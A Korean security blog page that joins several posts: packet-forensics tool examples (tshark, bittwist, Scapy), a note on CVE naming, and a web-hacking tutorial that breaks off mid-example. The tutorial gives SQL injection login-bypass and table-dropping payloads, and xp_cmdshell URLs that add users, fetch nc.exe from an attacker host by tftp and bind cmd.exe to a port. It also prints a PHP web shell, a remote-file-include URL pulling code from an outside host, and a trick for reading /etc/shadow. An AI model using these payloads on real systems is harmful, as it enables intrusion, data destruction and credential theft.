다량의 패킷파일을 포렌식 한다는 측면에서 보면 Tshark 가 상당히 유용하게 이용될 수 있습니다.
커맨드 기반으로 실행될 수 있으므로, 원하는 데이터만 쉽게 추출하여
스크립트화 시키면 다량의 패킷파일을 대상으로 포렌식이 쉬워집니다. GUI 상에서 할 수 있는
대부분의 많은 것들을 커맨드 기반으로 해서 얻을 수 있다는 점이 큰 매력입니다.

몇 가지 사용예를 언급해 봅니다.

# tshark -V -r test.pcap
# tshark -r test.pcap -e ip.src -e ip.dst -Tfields -E separator=,
IP 요청 주소와 DNS 쿼리 네임을 출력하는 것입니다.
# tshark -r test.pcap -e ip.src -e dns.qry.name -E separator=";" -Tfields dns
192.168.0.240;www.google.co.kr
168.126.63.1;www.google.co.kr
.
.

패킷 파일에서 HTTP TOP URL 을 뽑아내는 것입니다.

# tshark -r test.pcap -R http.request -T fields -e http.host -e http.request.uri | sed -e 's/?.*$//' | sed -e 's#^
\(.*\)\t\(.*\)$#http://\1\2#' | sort | uniq -c | sort -rn | head

# tshark -r test.pcap -Tfields -e ip.src -e http.user_agent -R "http.user_agent"

# tshark -r test.pcap -q -z ip_hosts,tree
===================================================================
 IP Addresses           value        rate     percent
-------------------------------------------------------------------
 IP Addresses            134       0.043431               
  192.168.0.240           134       0.043431         100.00%
  168.126.63.1             16       0.005186          11.94%
  72.14.213.99             55       0.017826          41.04%
  74.125.127.102            7       0.002269           5.22%
  72.14.213.103            32       0.010372          23.88%
  72.14.213.100            24       0.007779          17.91%

===================================================================

# tshark -r test.pcap -q -z conv,tcp

[4] bittwist
  
패킷파일 편집 및 생성으로 아주 유용한 도구 입니다.

- bittwist  : PCAP 기반의 패킷 생성기
- bittwistb : PCAP 기반의 이더넷 브릿지
- bittwiste : PCAP 파일 에디터

test.pcap 데이터를 dummy0 인터페이스로 전송시킨 것입니다.
bittwist -i dummy0 test.pcap

이것은 tcpreplay 인 다음과 같은 결과입니다.

tcpreplay -t -i dummy0 test.pcap

1) 패킷에서 1-2 까지만의 패킷을 뽑아내 저장해 보자.

# bittwiste -I test.pcap -O rigel.pcap -R 1-2

2) IP 를 변경해 보자.
# bittwiste -I test.pcap -O test2.pcap -R 1 -T ip -s 192.168.1.5,192.168.50.50

3) 포트번호 변경 
# bittwiste -I test2.pcap -O test3.pcap -T udp -d 53,8080

4)  페이로드 데이터 입력
echo "ahnlab_core" | xxd
bittwiste -I test2.pcap -O test3.pcap -L 4 -X 61686e6c61625f636f7265 -T udp
tcpdump -r test3.pcap -XX

Bit-Twist 로 패킷파일의 편집과 생성까지 자유자재로..

[5] Scapy

패킷파일을 프로그래밍 하는 관점에서 아주 유용한 도구입니다.

a=rdpcap("test.pcap")
>>> a
>>> a.nsummary()
>>> a[5].show()
>>> hexdump(a[5])
>>> lsc()
>>> b=Ether()/IP(dst="192.168.1.1")/TCP()/"GET /index.html HTTP/1.0 \n\n"
>>> b
<Ether  type=0x800 |<IP  frag=0 proto=tcp dst=192.168.1.1 |<TCP  |<Raw  load='GET /index.html HTTP/1.0 \n\n' |>>>>

'Scapy' 레이블을 보시면, Scapy 의 기본적인 것을 배워볼 수 있는 세가지의 이야기가 있습니다.

http://www.packetinside.com/search/label/scapy


[6] Tcpdpriv

패킷파일을 분석 의뢰할때 민감한 정보가 포함되어 있는 경우가 있습니다. 예를들어, 사내 IP
가 해당될 수도 있겠지요.

# ./tcpdpriv -A 50 -P 99 -w test2.pcap -r test.pcap

-A 는 IP 주소 변경
-P 는 포트 번호
0 은 최대한 Private 한 것이고 99 는 정보를 보여주는

패킷파일의 민감한 정보를 지우고 전달하고자 하는 경우에는 이 방법을!


[7] 텍스트 내용을 PCAP 파일로 -  text2pcap

text2pcap 을 이용하면 텍스트 내용도 PCAP 파일로 변환할 수 있습니다. 때로는
분석과정에서 유용하답니다.

-l Link 레이어 타입 지정 (기본은 이더넷이다)
-e <l3pid> -e 옵션 뒤에 이더넷 헤더를 지정할 수 있다. -e 0x806 이면 ARP 패킷을 뜻한다.
-i <proto> 프로토콜을 지정
-m 최대 패킷 길이
-u <srcport>,<destport> UDP 출발지,목적지 포트를 지정
-T <srcport>,<destport> TCP 출발지,목적지 포트를 지정

# od -Ax -tx1 tcpdpriv > in.txt
# text2pcap in.txt out.pcap
# text2pcap -T8888,9999 in.txt out.pcap
# tcpdump -r out.pcap
reading from file out.pcap, link-type EN10MB (Ethernet)
22:27:49.000000 IP 10.1.1.1.8888 > 10.2.2.2.9999: Flags [], seq 0:576, win 8192, length 576

http://www.packetinside.com/search/label/text2pcap

자, 그리고 CaseStudy 에서 언급한 것들을 한번 살펴보죠.
UDP Flooding 에서 보여준 패킷파일에서 이미지 데이터 추출은 foremost 를
이용했습니다.

-i 로 로우파일을 지정하고 -o 로 출력될 경로를 지정합니다. 주의할 점은
입력데이터가 패킷 파일이 아니라, 스크림한 데이터에서 저장옵션에 보면
RAW 형태로 저장하는 것이 있습니다. RAW 형태로 저장된 파일을 뜻합니다.

만약, 입력파일이 패킷 데이터면 Tcpxtract 를 이용해 볼 수 있습니다.

네트워크 패킷 캡쳐 파일에서 파일 추출하기 (using Tcpxtract)


악성코드 트래픽 분석에서 Slammer 는 패킷파일에서 바이너리 데이터 부분만을
떼어내어 해당 코드를 디스어셈블해서 본 것입니다.
와이어샤크에서 데이터 부분에서 오른쪽을 클릭해 보면 Export 를 할 수 있는 부분이
있습니다. 데이터를 Export 하고 objdump 를 이용해 -D 로 디스어셈블 하면 됩니다.
이것은 추후 세부적인 내용을 다시 설명드릴까 합니다.

마지막으로 Suspicious Payload Analysis 에서
마찬가지로 의심 데이터를 추출하고 Ollydbg 로 분석을 한 것입니다. 해당 데이터는
취약점을 이용한 공격코드에서 전송된 '쉘 코드' 부분만을 떼어내어
바이너리 형태로 만들고, Olly 에서 로드하여 스텝별 분석을 한 것입니다. 추출한
데이터는 아래와 같은 형태로 컴파일을 한 것입니다.

char sc[] = {
0xeb, 0x03, 0x5d, 0xeb, 0x05, 0xe8, 0xf8, 0xff
0xff, .................................. };

int main() {
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int)sc;
}

이 부분 또한 궁금해 하실 부분 중에 하나이어서, Slammer 와 함께 세부적으로
다시 설명드릴 예정입니다.

발표 및 시연은 모두 리눅스 기반으로 진행되었습니다. 그래서 Ollydbg 가
리눅스에서 동작하는 걸 보고 의아해 하신 분도 있습니다. Ollydbg 는
WINE 을 통해 실행시킨 것입니다. 설치된 리눅스는 BackTrack5 입니다.
많은 것들이 이미 설치되어 있어서 시연하기에 편해
선택한 것입니다. 리눅스에서 발표에 이용한 유용한 도구도 시간이 나는대로
공유해 드릴 예정입니다.

제가 마지막 페이지에서 사용한 문구가 다음과 같습니다.

Share What you know, Learn What you don't
From PacketInside.com

큰 의미는 '정보의 공유' 입니다. 리눅스를 선택한 것도 오픈소스를 통해서
얼마나 많은 것들을 할 수 있는지 보여드리려 했던 것이고,
정보도 공개할 수 있는 수준의 범위내에서는
블로그로 많이 포스팅하여
네트워크에 관심있는 많은 분들이
참고하실 수 있도록 하려고 합니다.

마지막으로 네트워크 포렌식이 모든 문제해결의 '열쇠'가 되지는 않습니다.
하지만 큰 방향을 결정하는 중요한 '열쇠'가 되기도 합니다.
이 점을 잊지마시고요,
제가 또 언젠가 여러분들과 만날기회가 있다면
더 많은 이야기를 나눠보고 싶네요. :-)

행사에 와 주셨던 모든 분,
그리고 재미있고 알차게 들었다고 해 주신 모든 분들
감사합니다.

항상 행복하세요.

[참고]
1. 개발자도 알아야 할 네트워크 포렌식 분석 기술, '안랩코어 2011' 컨퍼런스 (http://www.packetinside.com/2011/10/2011.html)

'Security' 카테고리의 다른 글

ASCII Codes in Hex, Decimal  (0) 2017.01.10
악성코드 자동실행 Registry  (0) 2017.01.08
CVE (Common Vulnerabilities and Exposures)  (0) 2017.01.08
[Linux] Web Hacking (Linux Server Security)  (0) 2017.01.08
Netcat  (0) 2017.01.08

CVE 는 Common Vulnerabilities and Exposures 의 약자로서 한마디로 각 취약성의 고유한 이름이다. 
CVE 를 사용하기 전에는 같은 취약성에 대해서 기관과 업체마다 나름대로 이름을 붙여 사용했다. 

예를 들면 같은 문제점에 대해서...
CERT에서는 CA-96.06.cgi_example_code,
CyberSafe에서는 Network: HTTP ? phf?Attack,
ISS에서는 http-cgi-phf,
AXENT에서는 phf CGI allows remote command execution,
Bugtraq에서는 PHF Attacks ?Fun and games for the whole family,
BindView에서는 #107 ? cgi-phf,
Cisco에서는 #3200 ?WWW phf attack,
IBM ERS에서는 http_escshellcmd,
L-3에서는 #180 HTTP Server CGI example code compromises http server
로 표현하다보니, 효율성도 떨어지고 통일성도 없었다.

그래서 생각해 낸 것이 한 취약성에 공통적인 한 이름만 붙이자는 것이었고
CVE는 바로 그 이름인 것이다. 

CVE는 다음과 같은 곳에서 사용된다.
- IDSes
- Assessment tools
- Vulnerability databases
- Academic research
- Incident Report

다음은 CVE 의 샘플이다.
- CVE-1999-0006 : Buffer overflow in qpopper
- CVE-1999-0067 : Shell metacharacters in phf
- CVE-1999-0344 : Windows NT debug-level access bug (a.k.a. Sechole)

상세 CVE 정보

취약성 이름(Name)CAN-2003-0016  
공개 날짜(Published Before)2003-02-07 00:00:00  
취약성 개요(Summary)Apache before 2.0.44, when running on unpatched Windows 9x and Me operating systems, allows remote attackers to cause a denial of service or execute arbitrary code via an HTTP request containing MS-DOS device names.  
위험도(Severity)상(High)  
공격 범위(Attack Range)원격(Remote)  
취약성 유형(Vulnerability Type)예외조건처리오류(Exceptional Condition Error)  
손실 유형(Loss Type)보안보호(Security Protection): 기타(other)  
취약한 시스템 요소 
참고 사이트 1:출처(Source): The Aims Group
제공 정보(Type): Patch
이름(Name): Apache 2.0.44 Released
http://marc.theaimsgroup.com/?l=apache-httpd-announce&m=104313442901017&w=2
참고 사이트 2:출처(Source): Security Focus
제공 정보(Type): General and Patch
이름(Name): bid 6659
http://online.securityfocus.com/bid/6659
참고 사이트 3:출처(Source): Security Focus
제공 정보(Type): General and Patch
이름(Name): bid 6662
http://online.securityfocus.com/bid/6662
취약한 소프트웨어 및 버전:
Apache Software Foundation, Apache, 2.0.36 
Apache Software Foundation, Apache, 2.0.37 
Apache Software Foundation, Apache, 2.0.38 
Apache Software Foundation, Apache, 2.0.39 
Apache Software Foundation, Apache, 2.0.40 
Apache Software Foundation, Apache, 2.0.41 
Apache Software Foundation, Apache, 2.0.42 
Apache Software Foundation, Apache, 2.0.43


1. Web Application Vulnerability


- 최초의 웹 페이지는 정적(static)이었다. 즉, 모든 사람들이 누군가에 의해 만들어진 똑 같은 페이지만을 볼 수가 있었다. 대표적인 웹 언어로 분량이 많지 않고 부담이 적은 HTML이 있다. HTML(Hyper Text Markup Language)은 단순하고 직설적이며 어려운 개념이 거의 포함되어 있지 않다.

- 현재의 웹 페이지들은 상호작용을 하며 동적 데이터를 갱신하고 복잡한 그래픽 화면에 필요한 동작들을 한다. 대표적인 예로 JSP, ASP, PHP등이 있다. 이러한 웹 페이지를 동적(dynamic) 웹 페이지라고 한다. 동적 웹 페이지는 사용자가 입력한 값에 따라서 서버에서 사용자에게 보여주는 페이지가 달라진다.

- OWASP(Open Web Application Security Project) http://www.owasp.org


2. SQL Injection

2.1 General SQL Injection

- SQL injection 은 웹 페이지를 통해서 입력하는 것처럼 SQL query/command를 삽입하기 위한 트릭이다.

- 기본적인 로그인 페이지에서 아이디와 패스워드를 입력하는 부분은 다음과 같다.

<form method=POST name=login action=login_ok.asp>
<input type=text name=id>
<input type=text name=pass>
</form>

- 우리가 입력하는 아이디와 비밀번호 값은 각각 id과 pass에 입력되어 login_ok.asp로 넘겨져 처리된다.

- login_ok.asp에는 우리가 입력한 값을 데이터베이스에서 비교하여 정상적인 사용자인지 확인을 하게 된다. 이 때 login_ok.asp 파일 내에 있는 SQL 구문의 기본적인 형태는 다음과 같다.

SELECT name FROM user WHERE id=’$id’ AND pass=’$pass’;

- 여기서 $id와 $pass는 우리가 입력한 아이디와 비밀번호 값이 들어가게 된다. 아이디에 test 비밀번호에 1234를 입력하면 다음과 같은 식이 성립하게 된다.

SELECT name FROM user WHERE id=’test’ AND pass=’1234’;

- 만약 아이디와 비밀번호 입력란에 정상적인 문자열이 아닌 특수문자가 들어간 문자열을 입력하면 전혀 다른 결과가 나오게 된다. 예를 들어 아이디 입력란에 ’(외따옴표) 만 입력하였을 경우login_ok.asp에서는 다음식을 가지고 결과를 처리하게 된다.

SELECT name FROM user WHERE id=’’’ AND pass=’’;

- 분명 에러가 발생한다. 먼저 외따옴표의 개수가 짝을 이루지 못하여 SQL 구문이 엉키게 된다. 사이트에 따라서 에러 구문을 보여주기도 하고 혹은 미리 지정된 에러 페이지가 보일 수도 있다. 현재 대부분의 사이트들은 자바스크립트를 같이 쓰기 때문에 비밀번호 부분에 값이 입력되지 않았으니 입력하라고 나온다.

- 이번에는 위의 SQL 구문에 아이디와 비밀번호 입력란에 다음과 같은 문자를 입력해보자.

$id = ‘ or 1=1 --
$pass = 1111 (아무런 값이나 상관없음)

- 위의 값을 입력하게 되면 다음과 같이 SQL 구문이 완성이 된다.

SELECT name FROM user WHERE id=’’ or 1=1 --’ AND pass=’1111’;

- SQL 구문은 참이 되므로 구문의 결과값인 user 테이블에서 일치하는 사용자의 이름(name)을 반환하게 된다. 만약 SQL 구문이 사용자 로그인에 관련된 구문이라면 정상적인 사용자로 로그인이 가능하게 된다. $id = admin’ or 1=1 -- 이라고 입력하게 되면 현재 데이터베이스에 admin이라는 사용자가 있다면 admin 사용자로 로그인이 되게 된다. -- 는 MS-SQL에서 사용되는 주석처리 구문이다. 따라서 위의 구문은 -- 이후의 구문은 무시되고 1=1 이라는 식의 참과 id=’’ 의 거짓이 or 연산을 하여 참이 되므로 정상적으로 로그인이 가능한 것이다. 그리고 종종 -- 는 #으로 대체할 수가 있다. 현재 다수의 웹 서버 응용프로그램들은 클라이언트에 의해서 입력된 값을 검사하지 않고 SQL을 구문을 수행하기 때문에 이와 같은 취약점이 존재하게 된다. (Input Validation)

- SQL 구문에서 -- 을 주석으로 처리하지 않을 때의 상황을 생각해보자. 이런 경우에는 아이디 입력란과 비밀번호 입력란에 모두 SQL 구문을 혼돈시키는 문자열을 입력해야 한다. 다음과 같이 입력해 보자.

$id = ‘ or ‘1’=’1
$pass = ‘ or ‘1’=’1

SELECT name FROM user WHERE id=’’ or ‘1’=’1’ AND pass=’’ or ‘1’=’1’;

- 위와 마찬가지로 이번에도 참이 된다. ‘1’=’1’이라는 식이 참이 되고 or 연산을 하기 때문에 결과적으로 참이 되는 것이다.

- 첫번째 주석처리 구문을 삽입하는 방법은 주로 ASP와 MS-SQL되어 있는 사이트에서 많이 사용되고 두번째 방법은 PHP로 되어 있는 사이트에서 많이 사용되고 ASP와 MS-SQL로 되어 있는 사이트에서도 사용된다. 

- 다음은 위의 두 가지 방법 이외에 우리가 입력해 볼 수 있는 다른 방법들이다.

“ or 1=1 --
or 1=1 --
‘” or “1”=”1
‘) or (‘1’=’1

- 이번에는 약간 다른 상황을 생각해보자. 아이디와 비밀번호 입력란에 특수문자를 쓸 수 없도록 되어 있을 경우 HTML 폼에 입력하지 않고 URL을 우리가 원하는 값으로 완성시켜 서버에게 전송하게 할 수 있다. URL encoding을 이용하여 특수문자들을 URL 형태에 맞게 변환하여 보낼 수 있다.

- 다음은 예제에서 사용될 login.cgi 파일 중 아이디와 비밀번호를 검사하는 부분이다.

URL = HTTP.GetFromUser()
user_id = URL.parameter(“user_id”)
password = URL.parameter(“password”)
query = “SELECT name FROM userlist WHERE uid=’” + user_id + “’ AND pwd=’” + password + “’;”
database.connect()
result = database.execute(query)
if result
HTTP.Send(“Login successful. Welcome, ” + result)
IsAuthenticated = true
else
HTTP.Send(“User ID or password is incorrect.”)
IsAuthenticated = false
end if
if IsAuthenticated
HTTP.Send(MainMenu)
end if

- 이 파일에게 다음과 같은 URL을 보낼 때는 다음과 같이 보낼 수 있다.

https://website/login.cgi?user_id=dcooper&password=’%20OR%20’’%3d’

- 웹 브라우저 위와 같이 입력하게 되면 login.cgi라는 파일에게 id=dcooper과 password=’%20OR%20’’%3d’ 라는 값을 전달하게 된다. 이 URL이 서버에게 전달되게 되면 서버는 SQL 쿼리문에서 다음과 같이 처리를 한다.

SELECT name FROM userlist WHERE uid=’dcooper’ AND pwd=’’ OR ‘’=’’;

- 이 쿼리문은 userlist 테이블에서 사용자가 dcooper인 레코드에서 name 값을 가져와서 반환하게 된다. 이렇게 URL을 이용하여 입력되어서는 안되는 문자들을 서버에게 전송할 수도 있다. 

- 위와 유사하게 사용될 수 있는 URL들을 몇 개 더 보면

https://website/login.cgi?user_id=dcooper&password=foo%20OR%201%3d1
SELECT name FROM userlist WHERE uid=dcooper AND pwd=foo OR 1=1;

https://website/login.cgi?user_id=’%20OR%20’’%3d’&password=’%20OR%20’’%3d’
SELECT name FROM userlist WHERE uid=’’ OR ‘’=‘’ AND pwd=’’ OR ‘’=‘’;

https://website/login.cgi?user_id=%25’;--
SELECT name FROM userlist WHERE uid=’%’;--’ AND pwd=’’;

%20은 공백을 뜻하고 %3d는 = 을 뜻한다.
%25는 %를 뜻한다.


2.2 Reverse-Engineering

- 로그인 페이지에서 아이디와 비밀번호 입력시 8글자 이상을 입력하지 못하도록 코드를 작성할 수가 있다. 이러한 경우 우리가 이전에 사용했던 ‘ or ‘1’=’1이나 ‘ or 1=1 -- 의 방법은 8글자를 넘어가므로 공격이 불가능하다. 하지만 완전히 불가능한 것은 아니다. HTML 태그는 웹 페이지 소스보기를 하면 보이므로 이를 수정하여 8글자 이상을 입력하는 것이 가능하다.

- 다음은 입력 폼에 최대 8글자만 입력이 가능하도록 하게 하는 HTML 폼이다.

<form method=post name=loginform action=loginok.asp>
...
<input type=”text” name=”userid” size=8 maxlength=8 class=”input_basic”>
<input type=”passwd” name=”userpass” size=8 maxlength=8 class=”input_basic”>

- 위와 같이 8글자 이상은 입력이 안된다. maxlength가 8이기 때문에 사용자가 입력할 때 8글자가 최고이다. 우리는 이 maxlength 부분은 충분히 늘려준 다음 자신의 컴퓨터에 저장을 한다. 로컬 컴퓨터로 저장하는 이유는 우리가 서버의 내용을 직접 수정하지 못하기 때문이다. 그리고 한가지 더 수정해야 하는 부분은 action 부분이다. 이 input 태그의 값을 전달해주는 파일이 action에 지정된 파일이다. action 부분은 form 태그에 속한 값으로서 form 태그는 input 태그보다 먼저 나온다.

- 개발자마다 다르겠지만 보통 action에 지정된 파일은 상대경로를 쓴다. 이 파일을 로컬 컴퓨터에 저장을 하게되면 action에 지정된 파일은 상대경로가 아닌 URL을 포함한 절대경로를 써주어야만 우리가 입력한 값을 정상적으로 전달할 수 있다.

- 위의 form태그와 input 태그는 다음과 같이 수정하여 로컬 컴퓨터에 login.html로 저장을 하자.

<form method=post name=loginform action=http://www.domain.com/loginok.asp>
...
<input type=”text” name=”userid” size=20 maxlength=20 class=”input_basic”>
<input type=”passwd” name=”userpass” size=20 maxlength=20 class=”input_basic”>

- 이렇게 해서 우리가 원하는 문자열을 입력할 수가 있다. 만약 위처럼 ‘ or 1=1 -- 로 입력을 한 이유는 이 사이트가 ASP로 되어 있기 때문이고 이 방법이 안될 경우 ‘ or ‘1’=’1로 입력을 해보아도 된다. 이 방법은 리버스 엔지니어링 중 가장 간단한 방법이다.

- ‘ 을 입력하였을 경우 화면에 보여지는 에러 메시지를 보고 공격을 하는 리버스 엔지니어링은 다음가 같다. 

- 먼저 아이디와 비밀번호 입력란에 위에서 배웠던 방법을 사용하여도 되고 혹은 외따옴표(‘)만 입력해보아도 된다. 리버스 엔지니어링의 핵심은 정상적이지 않은 입력을 통해 화면에 보여지는 에러 메시지를 보고 정상적인 것처럼 보이는 입력을 찾아내는 것이다. 따라서 이 방법은 여러 번의 시행착오를 거쳐야 하는 상황이 발생할 수 있고 모든 방법을 모두 적용시켜도 공격이 이루어지지 않을 수도 있다.

- ‘ or 1=1 -- 와 1111을 입력했을 때 나타나는 에러 메시지에서 유심히 보아야 할 부분은 다음과 같다.

'id = '' or 1=1 --' and pwd = '1111''

- 이 부분에서 에러가 발생하였다고 나와있다. 이 문장에서 우리가 입력했던 문장을 변수로 대치시키면 SQL 쿼리문을 도출해낼 수가 있다. 쿼리문은 다음과 같다.

SELECT user FROM userlist WHERE ‘id=’$id’ and pwd=’$pass’’

- 지금까지 보았던 구문과 약간 다른 점이 있다 조건이 들어가는 부분을 ‘ ‘ 로 한번 더 묶었다는 것을 알 수가 있다. 그리고 에러 메시지에서 보면 외따옴표의 개수가 짝이 맞지가 않다. 이것은 우리가 입력하는 문자열에 외따옴표가 하나 더 들어가거나 덜 들어가게 해서 짝을 맞추어 주어야 한다는 것을 의미한다. 그리고 에러 메시지에서 -- 이 주석처리가 되지 않고 있음을 알 수가 있다. 따라서 ‘ or 1=1 -- 방법은 공격이 되지 않을 것이라는 것을 추측할 수가 있다.

- ex)

select userName from users where userName='' or users.userName like 'a%' --' and userPass=''
Username: ' or 1=1; drop table users; --
Password: [Anything]
Username: '; shutdown with nowait; --
Password: [Anything]
select userName from users where userName=''; exec master..xp_cmdshell 'iisreset'; --' and userPass=''

- admin 계정으로 들어가기 위해서 [ table명.field명 like ‘a%’ -- ] 을 입력하는 방법도 있다.
그 외에 테이블 삭제, DB 종료, 시스템 명령 실행등의 동작이 가능하기도 하다.


2.3 MS MSQL Stored Procedures

- MS SQL 서버에는 SQL서버 관리의 편의를 위해 설치된 몇몇 프로시저 들이 있는데 특히 xp_cmdshell은 관리자 권한으로 명령이 실행되므로 사용자 추가 등의 시스템 명령이 실행 가능한 프로시저이다.
만약 의견을 적을 수 있는 게시판을 이용해서 다음과 같이 입력할 수 있다.

‘ exec master..xp_cmdshell ‘net user newusername newuserpassword /ADD’--

- 이 입력이 들어가는 쿼리문은 다음과 같다.

SELECT * from MyTable WHERE someText=’’ exec master..xp_cmdshell ‘net user newusername newuserpassword /ADD’--‘

- 이는 URL을 이용해서도 가능하다. 위의 명령어는 xp_cmdshell 명령어를 이용하여 NT/2000 윈도우의 cmd.exe를 웹 서버 루트로 복사를 하는 내용이다.

http://10.10.10.10/showtable.asp?ID=3;%20EXEC+master..xp_cmdshell+ ‘copy+\winnt\system32\cmd.exe+\inetpub\scripts’

- MS SQL의 이 취약점을 이용하여 공격하는 하나의 시나리오를 만들어 보면


- 위와 같이 IIS 5.0에 MS-SQL을 탑재하고 있는 Windows 2000 Server가 공격 대상이다.
이 공격에서 우리는 웹 브라우저만을 가지고 서버의 관리자 권한을 획득할 것이다. 위에 보이는 URL이 우리가 사용할 URL 중에서 공통적인 부분이다.

- 먼저 공격대상에서 netcat이라는 통신프로그램을 전송할 것이다. netcat을 전송하기 위해서 서버에서 TFTP를 실행시켜 공격자가 인증 없이 서버에 파일을 보낼 수 있게 한다.
netcat이 위치할 곳은 C:\ 이고 netcat의 업로드가 완료되면 cmd.exe 파일을 IIS의 DocumentRoot에 복사한다.

- 그리고 netcat을 이용하여 특정 포트를 연 다음 공격자는 netcat을 이용하여 접속하게 되면 command 제어권을 얻을 수 있다. 이 때 방화벽에 의해 특정 포트 이외에 모두 막혀 있을 경우 공격자가 netcat을 listen 상태로 두고 공격대상에 공격자에게 연결을 하게 만들면 된다.

http://10.10.10.10/test.asp?id=3;%20EXEC master..xp_cmdshell ‘tftp –i
192.168.0.8 GET nc.exe C:\nc.exe
http://10.10.10.10/test.asp?id=3;%20EXEC master..xp_cmdshell ‘copy
\winnt\system32\cmd.exe /inetpub/scripts’
http://10.10.10.10/test.asp?id=3;%20EXEC master..xp_cmdshell ‘c:\nc.exe
–l –p 6666 –e cmd.exe
Hacker # nc 10.10.10.10 6666

- 마지막으로 maxlength가 아닌 자바 스크립트로 문자열을 체크하는 경우가 있다. 이런 경우 두 가지로 부류할 수 있는데 하나는 서버 측에서 문자열을 체크하는 것이고 다른 하나는 클라이언트 측에서 문자열을 체크하는 것이다. 클라이언트 측에서 문자열을 검사하게 되면 공격자가 문자열 검사 스크립트를 제외시킬 수 있고 그렇게 되면 결과적으로 문자열을 검사하지 않고 sql injection 공격을 할 수 있게 되는 것이다. 다음은 HTML 코드 안에 속해있는 로그인 스크립트 부분이다.

function login()
{
var form = document.login;
if (form.mem_id.value == "")
{
alert("ID를 입력해 주십시오");
form.mem_id.focus();
return ;
}
if (form.mem_pwd.value == "")
{
alert("비밀번호를 입력해 주십시요");
form.mem_pwd.focus();
return ;
}
var id_check = "";
var temp6 = "";
id_check = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; // 문자열 체크를 위한 문자열 나열
if ( form.mem_id.value ) { // 문자열 체크를 위한 코드
for ( var i = 0 ; i < form.mem_id.value.length ; i++ ) {
temp6 = form.mem_id.value.substring(i, i+1);
if ( id_check.indexOf(temp6) == -1 )
{
alert("아이디에는 숫자와 영문자 이외에는 \n\n사용하실 수 없습니다.");
form.mem_id.value = "";
form.mem_id.focus();
return;
}
}
}
form.submit();
}

- 여기에서 

var id_check = "";
var temp6 = "";
id_check = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; // 문자열 체크를 위한 문자열 나열
if ( form.mem_id.value ) { // 문자열 체크를 위한 코드
for ( var i = 0 ; i < form.mem_id.value.length ; i++ ) {
temp6 = form.mem_id.value.substring(i, i+1);
if ( id_check.indexOf(temp6) == -1 )
{
alert("아이디에는 숫자와 영문자 이외에는 \n\n사용하실 수 없습니다.");
form.mem_id.value = "";
form.mem_id.focus();
return;
}
}
}

- 부분이 문자열을 검사하는 부분이다. 아이디와 비밀번호의 입력값 검사를 할 때 지정된 문자열이 아니면 잘못된 문자열이라고 경고를 알리게 된다. 이 부분을 삭제하게 되면 문자열 검사를 하지 않고 공격자가 입력하는 값을 그대로 받아들이게 된다.

- 위 부분을 삭제하고 마찬가지로 로컬 컴퓨터로 저장해서 실해하게 되면 문자열을 검사하지 않게 된다.
물론 이 때 form 태그에 action 부분은 절대경로를 넣어주어야지만 정상적으로 값을 전달할 수 있다.


3. File Injection

- 내부 명령어를 실행하는 코드가 있는 파일을 생성하고 공격하고자 하는 홈페이지의 자료실 등에 파일을 업로드한 후 업로드한 파일의 절대경로를 찾아내어 파일을 실행시킨다. (.php .php3 .inc .asp .pl .cgi)

- 다음은 WEB 상에서 쉘과 같은 기능을 할 수 있는 PHP 코드이다.

<?
$command=str_replace("\\","",$command);
$result=`$command`; $info = ereg_replace("\n","","[".`whoami`."@".`pwd`."]");
echo "<hr><form action=$PHP_SELF method=post>
$info <input type=text name=command value='$command' size=40>
<input type=submit value='go'></form><hr>\n
<xmp>\n$result\n</xmp><hr>";
?>


4. Query를 이용한 내부명령어 실행

- 대부분의 컴퓨터용 언어에는 시스템내의 운영체제상의 명령어를 손쉽게 실행시킬 수 있는 함수를 제공한다. Server Side Include와 같은 언어도 마찬가지이다.
이중 PHP에서는 passthru, system 혹은 php파일을 곧장 불러 실행할 수 있는 fpassthru 함수가 제공된다.

- 만약 아래와 같은 구문이 있다면 어떤 일이 벌어질까?

<? passthru(date); ?>

- 해당 페이지를 브라우저로 열어보면 유닉스의 date 명령에 대한 실행결과가 나타남을 확인할 수 있다.

- ex)

1. 먼저 웹 서버가 실행되어 있는지 확인 한다.

# ps –ef | grep http

2. 웹 서버가 실행되어 있지 않으면 웹 서버 데몬을 실행시킨다.

# /etc/rc.d/init.d/httpd start

3. head 명령을 실행하는 test.php 파일을 생성한다.

# cd /var/www/html
# vi test.php
<html>
<body>
<h1>TEST2 PAGE</h1>
<? passthru(‘head /etc/shadow’); ?>
</body></html>
# chmod 4755 /usr/bin/head

4. 브라우저를 열어 결과 페이지를 확인해 본다.

http://your_ip/test.php

5. 브라우저를 통해 현재 접속되어 있는 사용자의 아이디가 무엇인지 확인해 본다.
(passthru 함수부분 수정)


5. Reverse Telnet



- 공격자에 의해 원격지에서 파일의 명령이 실행되는 가장 큰 이유는 개발자들의 편의만을 생각한 개발에 있다. 개발 당시 좀 더 빨리 좀 더 편하게 하기 위해 보안상 문제가 되는 부분을 소홀히 지나갔기 때문에 이런 공격이 이루어지게 되는 것이다.

- 예를 들어 PHP 코드 중에 다음과 같은 구문이 있다면 원격지에서 파일의 명령 실행이 가능하다.

<? include $file; ?>
<? passthru($cmd); ?>

- 첫 번째의 경우 우리가 흔히 볼 수 있는 코드이고 두 번째 코드는 흔히 볼 수 없는 코드이다. passthru의 경우 흔히 볼 수는 없지만 공격자가 임의적으로 이런 파일을 만들어 게시판 같은 곳에 업로드를 하게 되면 $cmd에 의해서 공격자가 원하는 명령을 실행하고 그에 대한 결과를 받아 볼 수 있다.

- 공격이 가능한 하나의 시나리오를 보면

- 먼저 공격대상의 게시판 소스코드를 획득한 후 코드를 분석하던 중 include $file 이라는 부분을 찾아냈다. 이 코드가 포함되어 있는 파일이 login.php 라고 하고 공격자는 test.php라는 파일을 아래와 같이 만든다.

# vi test.php
<? passthru($cmd); ?>

- 그리고 웹 브라우저에서 다음과 같은 URL을 입력한다.

http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=ls -al

- 이렇게 해서 화면에 유닉스 명령인 ls -al의 결과가 보인다면 이 서버는 원격지 파일의 명령 실행 공격에 대해 취약하다는 것을 알 수 있다.

- 원하는 명령에 대한 결과를 보고자 하는 경우 매번 브라우저에 입력을 해야 한다. 그렇게 되면 번거럽기도 하겠지만 웹 서버의 access_log에 우리가 입력했던 URL이 모두 남게 된다.

- 그래서 이번에는 netcat 이라는 프로그램을 이용하여 공격대상의 터미널을 리버스로 공격자에게 열어주는 방법을 사용해보면 (공격대상과 공격자 모두 리눅스 시스템을 사용하고 있다고 가정)

[terminal]
# nc -l -p 8888

